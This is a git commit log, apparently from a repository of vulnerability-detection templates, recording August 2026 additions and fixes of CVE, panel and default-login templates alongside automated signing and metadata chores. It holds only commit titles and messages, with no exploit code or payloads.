ghost 493a6b742e chore: generate new addition list 🤖 2026-08-13 08:18:22 +00:00
ghost b24ee40d31 chore: sign templates 🤖 2026-08-13 08:17:36 +00:00
ghost 5e9adbb5c0 chore: generate CVEs metadata 🤖 2026-08-13 08:17:33 +00:00
ghost dd7fd83734 chore: generate new addition list 🤖 2026-08-13 08:17:25 +00:00
Aman Rawat 0e14524c39 Merge pull request #16858 from str4k3r/cve-2026-30965-ecosystem-20260812-v2
Add CVE-2026-30965 Parse Server relation redirect session exposure
2026-08-13 13:47:16 +05:30
Aman Rawat 9a6313b578 Update CVE-2026-3001.yaml 2026-08-13 13:46:58 +05:30
ghost 3c9c6f094a chore: sign templates 🤖 2026-08-13 08:16:47 +00:00
ghost 0aa268fa4d chore: generate CVEs metadata 🤖 2026-08-13 08:16:40 +00:00
Aman Rawat 8cb3469da5 Merge pull request #16820 from Boreas37/cve-2026-53629-glpi-sqli
Add CVE-2026-53629 GLPI blind SQLi in history log filter (LogBleed)
2026-08-13 13:46:19 +05:30
ghost e16c6742f8 chore: generate new addition list 🤖 2026-08-13 08:14:44 +00:00
ghost a432e6fd1b chore: generate new addition list 🤖 2026-08-13 08:14:32 +00:00
ghost ec6b45f47d chore: sign templates 🤖 2026-08-13 08:14:01 +00:00
Aman Rawat ee8cbfac00 Merge pull request #16773 from str4k3r/str4k3r/cve-2026-53755
Add CVE-2026-53755 template
2026-08-13 13:43:39 +05:30
Aman Rawat 9fc6939d42 Merge pull request #16860 from str4k3r/cve-2026-34976-ecosystem-20260812-v2
Add CVE-2026-34976 Dgraph restoreTenant authorization bypass
2026-08-13 13:43:22 +05:30
ghost a76099d872 chore: generate templates checksum 🤖 2026-08-13 08:12:13 +00:00
ghost 4906cfd73c chore: generate templates checksum 🤖 2026-08-13 08:10:44 +00:00
github-actions[bot] cf7aadf56f chore: add impact and remediation fields 🤖 2026-08-13 08:10:23 +00:00
ghost f0526354dd chore: generate new addition list 🤖 2026-08-13 08:10:17 +00:00
ghost 53c8996ea5 chore: generate CVEs metadata 🤖 2026-08-13 08:09:39 +00:00
ghost dbd1e02a07 chore: sign templates 🤖 2026-08-13 08:09:35 +00:00
ghost 6f6516a00c chore: generate new addition list 🤖 2026-08-13 08:09:25 +00:00
Aman Rawat 978c612060 Merge pull request #16800 from str4k3r/str4k3r/cve-2026-67208
Add CVE-2026-67208 template
2026-08-13 13:39:07 +05:30
ghost 23f85a388c chore: generate new addition list 🤖 2026-08-13 08:08:56 +00:00
Akokonunes d33e54c1d3 Merge branch 'main' into fp-flow
Resolve conflicts in 4 flow templates. All four conflicted only on the
trailing "# digest:" line, where main's EPSS updater had re-signed the
template while this branch was marking precondition matchers internal.

Resolution: keep this branch's matcher changes, take main's newer
epss-percentile and digest. The digest is regenerated by template-sign.yml
on push to main.

- http/cves/2020/CVE-2020-36836.yaml
- http/cves/2023/CVE-2023-46818.yaml
- http/cves/2023/CVE-2023-6750.yaml
- http/cves/2026/CVE-2026-1492.yaml
2026-08-13 17:08:48 +09:00
ghost 021505b6a1 chore: generate CVEs metadata 🤖 2026-08-13 08:08:36 +00:00
Aman Rawat cf35396ae2 Merge pull request #16781 from str4k3r/str4k3r/cve-53976
Add CVE-2026-53976: OpenChamber <1.13.0 unauthenticated arbitrary file read
2026-08-13 13:38:17 +05:30
ghost cf1ceb822d chore: sign templates 🤖 2026-08-13 08:08:08 +00:00
ghost 5458dcaf1e chore: generate CVEs metadata 🤖 2026-08-13 08:08:04 +00:00
Aman Rawat 1e521e0d82 Merge pull request #16775 from projectdiscovery/CVE-2026-8857
MediaWiki EasyTimeline - Code Injection RCE (CVE-2026-8857)
2026-08-13 13:37:48 +05:30
Aman Rawat 9a3720e4b3 Update CVE-2026-53755.yaml 2026-08-13 13:37:09 +05:30
ghost 9d5e28d610 chore: generate templates checksum 🤖 2026-08-13 07:53:21 +00:00
ghost 496aa3e5df chore: sign templates 🤖 2026-08-13 07:50:38 +00:00
Roberto Nunes 16e4f95d5d Merge pull request #16752 from andrew207/fix/wordpress-eol-version-regex
fix(wordpress-eol): reduce false positives from generic version regex
2026-08-13 16:50:14 +09:00
Roberto Nunes e9ebb88c84 Update wordpress-eol.yaml 2026-08-13 16:29:44 +09:00
ghost 8148af0145 chore: generate templates checksum 🤖 2026-08-13 07:17:18 +00:00
ghost 40b8eb06ab chore: generate new addition list 🤖 2026-08-13 07:16:22 +00:00
ghost 2402ef647c chore: sign templates 🤖 2026-08-13 07:15:27 +00:00
Roberto Nunes 64cf9cd51d Merge pull request #16734 from shadowhunter-92/add-claude-code-agents-detector
Add Claude Code subagent (.claude/agents/*.md) exposure detector
2026-08-13 16:15:06 +09:00
ghost bb2c85cdd0 chore: sign templates 🤖 2026-08-13 07:14:41 +00:00
Roberto Nunes b69eb06e4a Merge pull request #16870 from owlsight203/patch-3
fix(false-positive): CVE-2025-29927 add negative matchers for WAF block responses
2026-08-13 16:14:20 +09:00
Dhiyaneshwaran edc3dd66a4 Update claude-code-agents.yaml 2026-08-13 12:25:06 +05:30
Dhiyaneshwaran d63b37ae28 Update CVE-2026-53629.yaml 2026-08-13 12:22:52 +05:30
Dhiyaneshwaran dbb4603940 Update and rename claude-code-agents-exposure.yaml to claude-code-agents.yaml 2026-08-13 12:21:52 +05:30
Dhiyaneshwaran f8cdc29370 Refactor CVE-2026-53629.yaml for clarity and testing
Updated the CVE description for clarity and added matchers for SQL injection testing.
2026-08-13 12:14:05 +05:30
ghost 8d6a776f9d chore: generate templates checksum 🤖 2026-08-13 06:23:48 +00:00
ghost 15edce0cbb chore: generate new addition list 🤖 2026-08-13 06:21:57 +00:00
ghost a94f9ee365 chore: sign templates 🤖 2026-08-13 06:21:07 +00:00
ghost 9a7d520098 chore: generate CVEs metadata 🤖 2026-08-13 06:20:59 +00:00
Roberto Nunes 2d60580afb Merge pull request #16812 from Pauullamm/CVE-2025-13528
CVE 2025 13528
2026-08-13 15:20:40 +09:00
ghost 9ea3810466 chore: generate templates checksum 🤖 2026-08-13 06:19:26 +00:00
ghost 15402be00e chore: generate new addition list 🤖 2026-08-13 06:18:25 +00:00
ghost 8d103a93ad chore: sign templates 🤖 2026-08-13 06:17:38 +00:00
ghost 8b5bda7c26 chore: generate new addition list 🤖 2026-08-13 06:17:20 +00:00
Roberto Nunes 0159d86ec8 Merge pull request #16814 from ashish-cybersec/add-miniflux-panel
Add Miniflux login panel detection template
2026-08-13 15:17:18 +09:00
Dhiyaneshwaran 7d8164d021 Simplify matchers by combining conditions 2026-08-13 11:47:01 +05:30
ghost b2e2a5404d chore: sign templates 🤖 2026-08-13 06:16:36 +00:00
Roberto Nunes 29f6cd8c96 Merge pull request #16816 from ashish-cybersec/add-CVE-2026-59774
Add CVE-2026-59774 - Gitea Unauthenticated Arbitrary File Read
2026-08-13 15:16:13 +09:00
Dhiyaneshwaran 4f5ff6f645 Update CVE-2025-29927.yaml 2026-08-13 11:45:00 +05:30
ghost 8eebd80302 chore: generate templates checksum 🤖 2026-08-13 06:14:16 +00:00
ghost f1a6132a02 chore: generate new addition list 🤖 2026-08-13 06:12:10 +00:00
ghost 3aa6b6936f chore: sign templates 🤖 2026-08-13 06:11:28 +00:00
ghost 025e199b38 chore: generate CVEs metadata 🤖 2026-08-13 06:11:20 +00:00
Dhiyaneshwaran 83d3760d1d Merge pull request #16856 from str4k3r/cve-2026-15733-ecosystem-20260812-v2
Add CVE-2026-15733 WGDashboard authenticated command injection
2026-08-13 11:40:58 +05:30
Dhiyaneshwaran 191f39d52b Update and rename miniflux-login-panel.yaml to miniflux-panel.yaml 2026-08-13 10:28:45 +05:30
Dhiyaneshwaran eba836d7bd Update CVE-2026-59774.yaml 2026-08-13 10:26:17 +05:30
Dhiyaneshwaran ccd6f9b341 Update matchers in CVE-2025-29927.yaml 2026-08-13 10:16:42 +05:30
Dhiyaneshwaran 3aca0fdefe Update CVE-2025-29927.yaml 2026-08-13 10:11:18 +05:30
ghost c88f6d1d38 chore: generate templates checksum 🤖 2026-08-13 04:37:35 +00:00
Dhiyaneshwaran 634bc733e6 Update CVE-2026-3001.yaml 2026-08-13 10:07:25 +05:30
github-actions[bot] 6ce5893e6f chore: add impact and remediation fields 🤖 2026-08-13 04:35:29 +00:00
ghost a5232bf367 chore: generate new addition list 🤖 2026-08-13 04:35:13 +00:00
ghost b114f44fbf chore: sign templates 🤖 2026-08-13 04:34:35 +00:00
ghost f521042bec chore: generate CVEs metadata 🤖 2026-08-13 04:34:30 +00:00
Roberto Nunes 18e077f8db Merge pull request #16777 from str4k3r/str4k3r/cve-2026-9506
Add CVE-2026-9506: Bagisto <= 2.4.1 unauthenticated ImageCache path traversal (arbitrary file read)
2026-08-13 13:34:13 +09:00
Dhiyaneshwaran 77125c9cf1 Revise CVE-2025-13528 details and remediation
Updated the description and impact of CVE-2025-13528 to clarify the vulnerability details and remediation steps.
2026-08-13 10:02:01 +05:30
Dhiyaneshwaran 10f1596f49 Update CVE-2026-6826.yaml 2026-08-13 09:53:14 +05:30
Dhiyaneshwaran 37bc2f842b Modify CVE-2026-67208.yaml for request limit and flow
Updated max-request to 2 and added new flow checks.
2026-08-13 09:50:40 +05:30
Dhiyaneshwaran b02c16901d Revise CVE-2026-53976 details and remediation
Updated the description of CVE-2026-53976 to clarify the vulnerability details and impact. Added remediation steps and modified tags.
2026-08-13 09:35:04 +05:30
Dhiyaneshwaran 7d11248bc3 Update max-request and add detection flow 2026-08-13 09:26:19 +05:30
ghost c259d7f8ae chore: update KEV and vKEV tags and metadata 🤖 2026-08-13 03:47:48 +00:00
Roberto Nunes a2f9793638 Update CVE-2026-30965.yaml 2026-08-13 12:38:03 +09:00
Dhiyaneshwaran 1e312f49ce Update CVE-2026-65919.yaml 2026-08-13 08:59:11 +05:30
Dhiyaneshwaran 623d71c402 Update CVE-2026-9506 details and remediation 2026-08-13 08:53:33 +05:30
Dhiyaneshwaran 025c671bae Update CVE-2026-40280.yaml 2026-08-13 08:44:59 +05:30
Dhiyaneshwaran 82f28f2cfe Revise CVE-2026-40280 information and HTTP request
Updated CVE-2026-40280 details including name, description, impact, and remediation. Adjusted HTTP request examples and matcher conditions.
2026-08-13 08:38:46 +05:30
ghost 1bfc6e3fcb chore: update EPSS scores 🤖 2026-08-13 02:51:57 +00:00
ghost 4f7b5a6851 chore: generate templates checksum 🤖 2026-08-13 02:12:56 +00:00
ghost 78840ee15b chore: generate new addition list 🤖 2026-08-13 02:11:13 +00:00
ghost 1ca68a1e35 chore: sign templates 🤖 2026-08-13 02:10:25 +00:00
Dhiyaneshwaran 62e6110153 Merge pull request #16866 from Mapioe/3x-ui_template
3x UI template
2026-08-13 07:40:03 +05:30
Roberto Nunes 7576ec6035 Update CVE-2026-10768.yaml 2026-08-13 10:11:12 +09:00
Roberto Nunes 9643f59e09 Revise CVE-2026-15733 details and matchers
Updated CVE-2026-15733 details, including name, authors, and remediation steps. Adjusted request parameters and matchers for improved accuracy.
2026-08-13 09:11:04 +09:00
owlsight203 cac4189343 fix(false-positive): CVE-2025-29927 add negative matchers for rejected requests 2026-08-12 21:08:06 +07:00
Roberto Nunes 3756b68da7 Update 3xui-default-login.yaml 2026-08-12 19:43:12 +09:00
Adel Bouachraoui a4a188684f CVE-2024-57726 — add detection template 2026-08-12 09:59:23 +02:00
ghost 872ba5908e chore: generate CVEs metadata 🤖 2026-08-12 06:30:27 +00:00
ghost 8a82f4d23e chore: generate templates checksum 🤖 2026-08-12 06:09:16 +00:00
ghost 5b856c2945 chore: generate new addition list 🤖 2026-08-12 06:07:13 +00:00
ghost 7a37312795 chore: sign templates 🤖 2026-08-12 06:06:22 +00:00
Dhiyaneshwaran a346ec2847 Merge pull request #16811 from projectdiscovery/Akokonunes-patch-7
Add Metabase SQLi - Unauthenticated Reset Password
2026-08-12 07:06:01 +01:00
Dhiyaneshwaran b7884a4846 Update CVE-2026-72898.yaml 2026-08-12 11:17:38 +05:30
Dhiyaneshwaran 623176c90e Update CVE-2026-72898 details and tags 2026-08-12 11:15:46 +05:30
Akokonunes 22a3e7cdf2 Move Metabase reset_password SQLi to cves/2026
The template id is CVE-2026-72898, so it belongs under http/cves/2026/
with the filename matching the id.
2026-08-12 12:46:36 +09:00
ghost 119017b7f9 chore: update KEV and vKEV tags and metadata 🤖 2026-08-12 03:45:30 +00:00
Roberto Nunes 5b35759af8 Update metabase-honeysqli-reset-password.yaml 2026-08-12 12:44:10 +09:00
Roberto Nunes 2de087dbf0 Refine default login YAML for 3X-UI
Updated the description to specify default credentials and their implications. Adjusted various fields for consistency and clarity.
2026-08-12 12:39:27 +09:00
ghost e74f4620d2 chore: update EPSS scores 🤖 2026-08-12 02:50:23 +00:00
Roberto Nunes bc9611db45 Fix missing authorization for restoreTenant mutation
Dgraph <=v25.3.0 contains an authentication bypass caused by missing authorization middleware for the restoreTenant admin mutation, allowing unauthenticated attackers to overwrite the database, read files, and perform SSRF. Update to version 25.3.1 or later to remediate this vulnerability.
2026-08-12 10:34:10 +09:00
Roberto Nunes 425e2b85b2 Update CVE-2026-53755.yaml 2026-08-12 10:13:46 +09:00
str4k3r 6d17e82963 Add CVE-2026-14483 WPL WordPress unauthenticated file upload 2026-08-12 00:45:10 +03:00
str4k3r 324796e44f Add CVE-2026-34976 Dgraph restoreTenant authorization bypass 2026-08-12 00:42:10 +03:00
str4k3r 28649d2ccc Add CVE-2026-30965 Parse Server relation redirect session exposure 2026-08-12 00:42:01 +03:00
str4k3r 542a56d410 Add CVE-2026-15733 WGDashboard authenticated command injection 2026-08-12 00:41:49 +03:00
str4k3r 804a9b3650 Add CVE-2026-12394 MemberGlut WordPress role injection 2026-08-12 00:41:20 +03:00
str4k3r 20cf7612f7 Add CVE-2026-11387 SMS Alert WordPress password-reset bypass 2026-08-12 00:41:04 +03:00
str4k3r cf3cafde66 Add CVE-2026-1115 lollms authenticated stored XSS 2026-08-12 00:40:58 +03:00
str4k3r da3d01ada1 Add CVE-2026-10768 Drupal LocalGov Workflows content disclosure 2026-08-12 00:40:53 +03:00
Mapioe 91650ca09b fix: typo 2026-08-12 02:07:38 +05:00
Mapioe 50b5ae8920 Added 3xui Template 2026-08-12 01:54:03 +05:00
Bryce Florek dc551b090b ccm-detect: raise severity info -> low
The template confirms a live, auth-gated Clear-Com Core Configuration
Manager panel (broadcast intercom system admin interface) reachable
unauthenticated, via an AND-matched "CCM - Authentication Failure" string
plus HTTP 401 -- not just software presence, but a live, internet-reachable
admin interface for production intercom hardware. Clear-Com's own
documentation describes CCM as a local-network configuration tool
accessed by IP; their only documented "remote access" pattern forwards
intercom client audio/data ports (Agent-IC/Station-IC), never the CCM web
admin interface itself. Unlike panel-detection templates for products with
a legitimate public-facing deployment pattern (e.g. SaaS offerings, VPN
portals, webmail), no vendor-supported reason exists for this panel to be
internet-reachable, making its exposure itself the signal rather than mere
software presence. Updated the stale cvss-metrics field (C:N -> C:L,
added cvss-score 3.7) to stay consistent with the new severity, matching
the pattern used for web-config in this same series.
2026-08-11 13:50:40 -07:00
ghost 166dcb625c chore: generate templates checksum 🤖 2026-08-11 08:37:21 +00:00
ghost d99c09ed39 chore: generate new addition list 🤖 2026-08-11 08:35:22 +00:00
ghost 12e7b40f4b chore: sign templates 🤖 2026-08-11 08:34:43 +00:00
ghost b4d45b401a chore: generate CVEs metadata 🤖 2026-08-11 08:34:37 +00:00
Ritik Chaddha c779fcf69d Merge pull request #16749 from 1dayexploit/cve-2026-69251
Add CVE-2026-69251 - Flowise - Authenticated RCE via Unsanitized TypeORM DataSource Options
2026-08-11 14:04:14 +05:30
ghost 26d8e949e9 chore: generate templates checksum 🤖 2026-08-11 07:30:54 +00:00
ghost 0913cd38ca chore: generate new addition list 🤖 2026-08-11 07:29:11 +00:00
ghost 2c78b87825 chore: sign templates 🤖 2026-08-11 07:28:29 +00:00
ghost c50e993d52 chore: generate CVEs metadata 🤖 2026-08-11 07:28:26 +00:00
Dhiyaneshwaran c9d799c7ea Merge pull request #16769 from str4k3r/str4k3r/cve-2026-42461
Add CVE-2026-42461 template
2026-08-11 00:28:06 -07:00
Dhiyaneshwaran eb2f40498f Update CVE-2026-42461.yaml 2026-08-11 00:20:44 -07:00
ghost 68e9ea4e26 chore: generate templates checksum 🤖 2026-08-11 07:11:28 +00:00
ghost c1013ac1f8 chore: generate new addition list 🤖 2026-08-11 07:09:47 +00:00
ghost 5aeeb2be25 chore: sign templates 🤖 2026-08-11 07:09:02 +00:00
Dhiyaneshwaran 835abce402 Merge pull request #16792 from Th3l0newolf/NetVision
Add Net Vision UPS Default Credentials
2026-08-11 00:08:42 -07:00
Dhiyaneshwaran 44850a21c8 Update and rename http/default-logins/net-vision-default-login.yaml to http/default-logins/net-vision/net-vision-default-login.yaml 2026-08-10 23:43:33 -07:00
ghost 66a4a62554 chore: generate templates checksum 🤖 2026-08-11 06:13:26 +00:00
ghost 8adff9cecf chore: generate new addition list 🤖 2026-08-11 06:11:31 +00:00
ghost e5800337aa chore: generate CVEs metadata 🤖 2026-08-11 06:10:52 +00:00
ghost 6d21c78e1b chore: sign templates 🤖 2026-08-11 06:10:47 +00:00
Dhiyaneshwaran 76aa1dac13 Merge pull request #16772 from str4k3r/str4k3r/cve-2026-71209
CVE-2026-71209 - Audiobookshelf Authentication Bypass
2026-08-10 23:10:23 -07:00
ghost e5569756aa chore: update KEV and vKEV tags and metadata 🤖 2026-08-11 03:34:01 +00:00
Roberto Nunes fa9927bd4c Enhance CVE-2026-42461 description and metadata
Updated CVE-2026-42461 entry to reflect additional information disclosure and remediation details.
2026-08-11 12:01:01 +09:00
ghost c182d7d9fc chore: update EPSS scores 🤖 2026-08-11 02:40:44 +00:00
Roberto Nunes 8d27003bbf Revise CVE-2026-71209 information and update tags
Updated CVE-2026-71209 details including name, description, impact, remediation, and tags.
2026-08-11 10:06:35 +09:00
Roberto Nunes 6d09f4131b Update CVE-2026-50160.yaml 2026-08-11 09:49:59 +09:00
Boreas37 5d4e558a17 Add CVE-2026-53629 GLPI blind SQLi in history log filter (LogBleed) — verified time-based on 10.0.25, rejected on 10.0.26 2026-08-10 23:04:47 +03:00
Dominique RIGHETTO 810576b76d Fix YAML formatting for OpenShift monitoring plugin 2026-08-10 20:05:42 +02:00
Dominique RIGHETTO 2de37f64c9 Add files via upload 2026-08-10 19:57:26 +02:00
ghost e56a787620 chore: generate templates checksum 🤖 2026-08-10 16:37:54 +00:00
ghost b6142953d5 chore: sign templates 🤖 2026-08-10 16:35:07 +00:00
Aman Rawat f06f946cbd Merge pull request #16666 from DPS0340/fix/regex-in-word-matchers
fix: three CVE templates put regexes in word matchers, so they never fire
2026-08-10 09:34:45 -07:00
Aman Rawat b519c9b035 Merge pull request #16741 from diedromeo/fix/cve-2025-14847-mongodb-8x-detection
Fix CVE-2025-14847: detect vulnerable MongoDB 8.0.x (buildinfo read-size truncation)
2026-08-10 09:34:21 -07:00
Aman Rawat 2f4adb5c9d Merge pull request #16748 from p-l-/fix-CVE-2021-24139
fix(CVE-2021-24139): both conditions must match
2026-08-10 09:34:13 -07:00
ghost 71c42ec0a7 chore: generate templates checksum 🤖 2026-08-10 16:33:59 +00:00
ghost c32bc71859 chore: sign templates 🤖 2026-08-10 16:31:42 +00:00
ghost 63f95cb773 chore: generate CVEs metadata 🤖 2026-08-10 16:31:34 +00:00
Aman Rawat a36f9262dc Merge pull request #16670 from DPS0340/fix/cve-2024-0200-intermediate-matchers
fix(CVE-2024-0200): mark the setup-stage matchers internal
2026-08-10 09:31:11 -07:00
ghost ce371f46dc chore: generate new addition list 🤖 2026-08-10 16:30:36 +00:00
ghost fad7fb1da6 chore: generate CVEs metadata 🤖 2026-08-10 16:29:30 +00:00
Aman Rawat 85b952e14e Merge pull request #16809 from Boreas37/cve-2026-34908-unifi-auth-bypass
Add CVE-2026-34908 UniFi OS auth bypass via ..%2f traversal (KEV, verified)
2026-08-10 09:29:04 -07:00
Aman Rawat 6ae267c1ca Fix lint 2026-08-10 09:27:37 -07:00
Aman Rawat 0757b36f1e Merge branch 'main' into fix/cve-2024-0200-intermediate-matchers 2026-08-10 09:25:46 -07:00
Aman Rawat e65c4dbee4 Update CVE-2024-0200.yaml 2026-08-10 09:25:14 -07:00
ghost 8167810c0e chore: generate templates checksum 🤖 2026-08-10 16:21:37 +00:00
Aman Rawat f91c99658f Update CVE-2024-0200.yaml 2026-08-10 09:20:39 -07:00
Aman Rawat f1fdc74796 Update CVE-2024-0200.yaml 2026-08-10 09:19:50 -07:00
ghost 3bec5211f3 chore: sign templates 🤖 2026-08-10 16:19:40 +00:00
Aman Rawat 0fecf1d7fa Merge pull request #16709 from coffee0127/fix/cve-2023-37629-filename-quote
fix(cve-2023-37629): close filename quote before the .php extension
2026-08-10 09:19:18 -07:00
Aman Rawat 810695cf2e Merge branch 'main' into fix/cve-2025-14847-mongodb-8x-detection 2026-08-10 09:18:59 -07:00
Aman Rawat 457741643f Update CVE-2021-24139.yaml 2026-08-10 09:18:34 -07:00
ghost 046be11e86 chore: sign templates 🤖 2026-08-10 16:17:46 +00:00
Aman Rawat b808bbe0a7 Merge pull request #16663 from DPS0340/fix/regex-extractor-missing-capture-group
fix: add the missing capture group to four regex extractors
2026-08-10 09:17:17 -07:00
ye11oc4t 0a4c64b528 Add CVE-2026-9133 template 2026-08-11 00:36:40 +09:00
Ritik Chaddha a7624dacc2 Update CVE-2026-69251.yaml 2026-08-10 18:03:27 +05:30
Roberto Nunes 25db9dccc3 Refactor flow and matchers in CVE-2026-69251.yaml 2026-08-10 21:27:39 +09:00
Roberto Nunes 8037973e70 Modify CVE-2026-69251.yaml for flow and request changes
Updated flow logic and request method in CVE-2026-69251.yaml. Adjusted tags and matchers for improved specificity.
2026-08-10 21:24:28 +09:00
Roberto Nunes c8c1220b37 Update CVE-2026-69251.yaml 2026-08-10 20:42:39 +09:00
Ashish Pulivarthy 968416a84f Add CVE-2026-59774 - Gitea unauthenticated arbitrary file read 2026-08-10 17:01:54 +05:30
Boreas37 7ab8a1eb55 Add CVE-2026-69084 SiYuan searchEmbedBlock arbitrary SQL execution (CVSS 9.9) 2026-08-10 12:59:56 +03:00
Ashish Pulivarthy d4368e5270 Add Miniflux login panel detection template 2026-08-10 13:50:37 +05:30
Paul Lam ef7cc32c85 Add CVE-2026-3001 template 2026-08-10 07:50:19 +01:00
Paul Lam 057c7f5709 Moved to correct year folder (2025) 2026-08-10 07:32:16 +01:00
Paul Lam 5599492891 Added CVE-2025-13528 Template 2026-08-10 07:25:11 +01:00
Roberto Nunes 1db19c9888 Update CVE-2026-25231.yaml 2026-08-10 14:02:27 +09:00
Roberto Nunes 4301420e50 Update CVE-2026-25231.yaml 2026-08-10 13:57:31 +09:00
ghost 479c6e9694 chore: update KEV and vKEV tags and metadata 🤖 2026-08-10 03:36:11 +00:00
Roberto Nunes 509633a679 Revise CVE-2026-34908 details and CVSS score
Updated the CVE-2026-34908 entry with improved descriptions, remediation steps, and CVSS metrics.
2026-08-10 12:14:10 +09:00
Roberto Nunes 6056be9bf4 Update metabase-honeysqli-reset-password.yaml 2026-08-10 12:03:18 +09:00
ghost 4da7f276a9 chore: update EPSS scores 🤖 2026-08-10 02:44:11 +00:00
Roberto Nunes 195bd39e5d Update metabase-honeysqli-reset-password.yaml 2026-08-10 11:29:00 +09:00
Roberto Nunes 21d6965bd2 Clarify description of Metabase SQLi vulnerability
Updated the description to clarify the detection of SQL injection vulnerability.
2026-08-10 11:22:40 +09:00
Roberto Nunes 6e3429d531 http/cves/2026/CVE-2026-57827.yaml 2026-08-10 11:11:36 +09:00
Roberto Nunes 61a4106e19 Cant validate template Required valid account PR:L http/cves/2026/CVE-2026-53629.yaml 2026-08-10 11:11:06 +09:00
Roberto Nunes ec95668878 Duplicate network/cves/2026/CVE-2026-24061.yaml 2026-08-10 11:08:48 +09:00
Roberto Nunes f545b929d5 duplictate http/cves/2026/CVE-2026-44578.yaml 2026-08-10 11:08:00 +09:00
Roberto Nunes ec9b23ceca Update CVE-2026-61808.yaml with new query and matchers 2026-08-10 09:53:04 +09:00
Roberto Nunes ce8c4a3c8e Update CVE-2026-61808.yaml 2026-08-10 09:46:06 +09:00
Aman Rawat 7e1bab8639 Merge branch 'main' into fix/regex-extractor-missing-capture-group 2026-08-09 17:44:40 -07:00
Aman Rawat abca09a285 Update springboot-x-application-context.yaml 2026-08-09 17:43:49 -07:00
Aman Rawat a3d5ea0806 Update oracle-containers-panel.yaml 2026-08-09 17:43:23 -07:00
Aman Rawat 8e1252a295 Merge branch 'main' into fix-CVE-2021-24139 2026-08-09 17:42:11 -07:00
Roberto Nunes f3020d38da Update shiori-panel.yaml 2026-08-10 09:28:32 +09:00
ghost f1af193f36 chore: generate templates checksum 🤖 2026-08-09 18:25:05 +00:00
ghost cd8f13a826 chore: generate new addition list 🤖 2026-08-09 18:23:31 +00:00
ghost 1ad20148c2 chore: sign templates 🤖 2026-08-09 18:22:49 +00:00
Dhiyaneshwaran 1047becc8a Merge pull request #16674 from darses/patch-57
Add cyberstrikeai-panel
2026-08-09 11:22:25 -07:00
Dhiyaneshwaran 15b99eb1d0 Fix duplicate reference entry in cyberstrikeai-panel.yaml 2026-08-09 11:16:57 -07:00
Ritik Chaddha e7bb13b121 fix template 2026-08-09 23:43:51 +05:30
Ritik Chaddha aa78c462c0 Merge branch 'main' into fix/cve-2024-0200-intermediate-matchers 2026-08-09 23:27:52 +05:30
Ritik Chaddha 2b70d02e6d Update CVE-2024-0200.yaml 2026-08-09 23:27:06 +05:30
Ritik Chaddha 19ce3452f0 remove honeypot matcher 2026-08-09 23:23:25 +05:30
Ritik Chaddha e66c186763 Update CVE-2025-14847.yaml 2026-08-09 23:11:25 +05:30
Ritik Chaddha 6c61bd6262 keeping both matchers 2026-08-09 23:11:00 +05:30
Ritik Chaddha 047de1f4f9 Merge branch 'main' into fix-CVE-2021-24139 2026-08-09 23:08:31 +05:30
ghost 5d67b21388 chore: generate templates checksum 🤖 2026-08-09 17:38:07 +00:00
Ritik Chaddha a12c34cad8 Merge pull request #16791 from Th3l0newolf/Th3l0newolf-contributors-list
Add Th3l0newolf to contributors list
2026-08-09 23:07:43 +05:30
ghost d01b8f52f3 chore: generate new addition list 🤖 2026-08-09 17:32:09 +00:00
ghost 518b5ca233 chore: generate CVEs metadata 🤖 2026-08-09 17:31:17 +00:00
Aman Rawat 6cd854a653 Merge pull request #16776 from projectdiscovery/Akokonunes-patch-10
Add CVE-2026-63077.yaml -JetBrains TeamCity < 2026.1.3, 2025.11.7 - Pre-Auth Deserialization RCE
2026-08-09 10:30:56 -07:00
Boreas37 06821f85c9 Add 5 CVE-2026 templates: inetutils, UniFi OS, Next.js, GLPI, RSFiles 2026-08-09 17:55:00 +03:00
ghost 07249ab6d8 chore: update KEV and vKEV tags and metadata 🤖 2026-08-09 03:33:56 +00:00
ghost 7a490c8837 chore: update EPSS scores 🤖 2026-08-09 02:40:59 +00:00
ST4RK 69c538037b Add CVE-2026-25231 FileRise unauthenticated file read template 2026-08-09 00:46:23 +03:00
ST4RK 31409d4b1a Add CVE-2026-6826 template 2026-08-09 00:11:19 +03:00
ST4RK d95c0860fe Add CVE-2026-50160 template 2026-08-09 00:10:37 +03:00
ST4RK c14d70b9dc Add CVE-2026-45332 - Automad < 2.0.0-beta.28 - Unauthenticated Admin Password Hash Disclosure 2026-08-09 00:00:07 +03:00
ST4RK aa2018c8b9 Add CVE-2026-61808 - LightRAG unauthenticated default exposure 2026-08-08 23:11:51 +03:00
ST4RK 305a63efa2 Add CVE-2026-67208 template 2026-08-08 22:43:53 +03:00
MFS dc6f5b38bb Add CVE-2026-17594 - Sonatype Nexus Repository < 3.95.0 - Privilege Escalation via Repository Format Mismatch 2026-08-08 21:58:17 +03:00
Ashish Pulivarthy 4bee3c3a7b Add Shiori Bookmarks Manager panel detection template 2026-08-08 23:38:46 +05:30
ST4RK 7fe6b3bc29 Add CVE-2026-55229 template 2026-08-08 17:32:19 +03:00
ST4RK 928eee3aea Add CVE-2026-27796: Homarr < 1.54.0 unauthenticated integration config disclosure 2026-08-08 16:41:38 +03:00
ST4RK 3e718cf944 Add CVE-2026-44177 template 2026-08-08 16:21:47 +03:00
patrick-threatmate 5371069a9c CVE-2026-18577: rate severity critical (KEV, actively exploited, RMM blast radius) 2026-08-08 08:05:46 -04:00
ghost e70dd0abd4 chore: generate templates checksum 🤖 2026-08-08 10:57:26 +00:00
ghost ddbca81f55 chore: generate new addition list 🤖 2026-08-08 10:55:49 +00:00
ghost 73357c7b90 chore: sign templates 🤖 2026-08-08 10:55:03 +00:00
ghost 53a5a701b1 chore: generate CVEs metadata 🤖 2026-08-08 10:54:55 +00:00
Ritik Chaddha a78e427620 Merge pull request #16747 from projectdiscovery/CVE-2025-71324
CVE-2025-71324 -  Flowise - Path Traversal
2026-08-08 17:54:41 +07:00
ghost 25e464f8d2 chore: generate templates checksum 🤖 2026-08-08 10:52:32 +00:00
ghost 20e0ca6ab6 chore: generate new addition list 🤖 2026-08-08 10:50:43 +00:00
ghost 48c1c196ca chore: generate new addition list 🤖 2026-08-08 10:50:38 +00:00
ghost 7cb37c7998 chore: generate CVEs metadata 🤖 2026-08-08 10:50:07 +00:00
ghost 2accfddeb6 chore: sign templates 🤖 2026-08-08 10:49:58 +00:00
Ritik Chaddha b94a4d85ec Merge pull request #16740 from projectdiscovery/CVE-2026-65442
CVE-2026-65442 - FormCraft3 <= 3.9.15 - Unauthenticated Server-Side Request Forgery
2026-08-08 17:49:38 +07:00
Ritik Chaddha 786ac85aea Merge pull request #16690 from projectdiscovery/Akokonunes-patch-7
Create CVE-2026-14894.yaml - WordPress Super Forms <= 6.3.313 - Unauthenticated Arbitrary File Upload RCE
2026-08-08 17:49:24 +07:00
